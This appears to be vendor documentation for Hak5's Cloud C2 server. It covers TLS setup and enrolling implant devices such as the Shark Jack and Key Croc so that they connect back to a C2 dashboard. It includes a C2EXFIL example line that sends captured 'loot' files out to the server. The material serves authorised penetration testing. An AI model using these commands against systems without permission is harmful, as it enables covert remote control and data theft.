Let's Encrypt SSL configuration and device enrollment

Configuring SSL with a Let's Encrypt TLS certificate

Generally

1. Add an A record for your domain to your VPS IP address
2. Add the -https parameter to the Cloud C2 binary and set the -hostname flag to the fully qualified domain name.

For example:

sudo ./c2_community-linux-64 -hostname example.com -https

Adding Devices

Depending on which device you're using, this file will go in a different place.

See this article on Adding Devices to Cloud C2 for more details - but generally:

• WiFi Pineapple – put device.config in /etc/
• LAN Turtle – put device.config in /etc/
• Packet Squirrel – put device.config in /etc/
• Signal Owl – put device.config in /etc/ and use C2CONNECT in your payload
• Shark Jack – put device.config in /etc/ and use C2CONNECT in your payload
• Screen Crab – put device.config on the root of the SD card
• Key Croc – put device.config on the root of the KeyCroc disk from arming mode

Generally, once the device is online it'll connect back to Cloud C2 and you'll be able to interact with it from the dashboard. The exception to this is the Shark Jack and Signal Owl, which require the command C2CONNECT in the payload to initialize the connection. Likewise, run the  C2DISCONNECT command to cut the connection. This is by design so that you aren't inadvertently connecting to your Cloud C2 instance from every Shark Jack payload you run, as an example.

Many devices support the C2NOTIFY and C2EXFIL commands to send notifications and exfiltrate loot. The C2EXFIL command must be run for each file uploaded to the Cloud C2 server. When exfiltrating text files, you'll want to add the STRING option in order to make it viewable from the dashboard. For example, C2EXFIL STRING /root/loot/file.txt MyPayloadName. The payload name is optional, but helpful when multiple payloads run. See the articles on Ducky Script for complete documentation on the Hak5 scripting language.